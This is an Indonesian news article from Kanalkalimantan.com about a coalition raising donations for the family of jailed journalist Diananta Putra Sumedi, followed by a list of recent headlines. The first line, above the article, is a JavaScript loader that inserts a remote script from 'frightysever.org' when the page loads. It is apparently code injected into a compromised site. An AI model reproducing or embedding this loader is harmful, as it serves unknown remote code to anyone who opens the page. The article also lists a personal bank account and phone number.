(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: MEDIA

Peduli Diananta, Koalisi untuk Masyarakat Adat dan Kebebasan Pers Galang Donasi


KANALKALIMANTAN.COM, BANJARMASIN – Gerakan kolektif Koalisi untuk Masyarakat Adat dan Kebebasan Pers terus menggalang dana untuk kebutuhan keluarga jurnalis Diananta Putra Sumedi. Diananta masih mendekam di sel tahanan Polres Kotabaru, gara-gara disangka melanggar UU ITE lewat berita yang ia muat.

Donasi digagas oleh Tim Logistik Koalisi untuk Masyarakat Adat dan Kebebasan Pers yang dipimpin oleh Ika Ningtyas, sahabat istri Diananta sekaligus anggota Aliansi Jurnalis Independen (AJI) Jember. Sampai saat ini sudah terkumpul dana sebesar Rp 14.000.000 dari berbagai kalangan.

“Ini dialokasikan untuk kebutuhan hidup keluarga per bulan Juni dan Juli. Diananta adalah penafkah tunggal untuk anak dan istrinya yang tinggal di Banyuwangi,” ujar Ika saat diwawancarai pada Minggu (31/5/2020).

Istri Diananta, Wahyu Widyaningsih, juga berencana bakal bertolak ke Kotabaru untuk menemani Diananta saat persidangan pada Juni nanti. Alhasil, alokasi juga akan diserahkan ke Wahyu saat berada di Kotabaru.

Ika menegaskan aksi penggalangan dana ini penting untuk merajut solidaritas bersama, khususnya kalangan jurnalis. Bukan hanya untuk meringankan beban ekonomi keluarga, tapi juga sebagai bentuk dukungan semua pihak atas kebebasan pers dan protes atas kriminialisasi yang dilakukan terhadap Diananta.

“Kerja-kerja jurnalisme itu untuk kepentingan publik. Tanpa jurnalisme yang bebas dan independen, mustahil publik mendapatkan informasi yang kredibel. Oleh karena itu, kriminalisasi terhadap jurnalis Diananta dengan sendirinya mengancam hak publik mendapatkan informasi yang benar,” ujarnya.

Untuk diketahui, penggalangan dana sendiri dibuka melalui rekening Ika Ningtyas (BNI 0863585113). Setelah ditransfer, donatur bisa mengonfirmasi melalui kontak Whatsapp 081353026387.

Diananta Putera Sumedi ditahan sejak 4 Mei silam oleh Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalsel sebab beritanya yang berjudul “Tanah Dirampas Jhonlin, Dayak Mengadu ke Polda Kalsel” pada alamat internet kumparan/banjarhits.id pada 9 November 2019 lampau.(Kanalkalimantan.com/rls)

 

Reporter : Rls
Editor : Cell

 


Desy Arfianty

Recent Posts

Digital Entrepreneurship Academy di HSU, Up Skilling untuk Calon Pelaku UMKM

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani membuka pelatihan Digital Entrepreneurship Academy… Read More

5 jam ago

Penentuan Lokasi Transmigrasi Lokal Warga Terdampak Banjir, Ini Kata Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar rapat terkait penentuan lokasi rencana transmigrasi… Read More

5 jam ago

Optimalisasi Polder Alabio Salah Satu Prioritas dalam Musrenbang RKPD 2026

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana… Read More

6 jam ago

Jelang Coblosan Ulang, Pj Wali Kota: Serahkan Semua kepada Masyarakat, Jaga Netralitas ASN!

KANALKALIMANTAN.COM, BANJARBARU - Penjabat (Pj) Wali Kota Banjarbaru Subhan Nor Yaumil memimpin rapat koordinasi (Rakor)… Read More

9 jam ago

Perhatian Khusus Kasus Juwita, Komnas HAM Kumpulkan Fakta Lapangan

KANALKALIMANTAN.COM, BANJARBARU - Komisioner Komisi Nasional Hak Asasi Manusia (Komnas HAM) Republik Indonesia (RI) Uli… Read More

9 jam ago

Komnas HAM RI ke Banjarbaru Penyelidikan Kasus Juwita

KANALKALIMANTAN.COM, BANJARBARU - Kasus pembunuhan berencana yang dilakukan Jumran, Anggota TNI AL Lanal Balikpapan terhadap… Read More

13 jam ago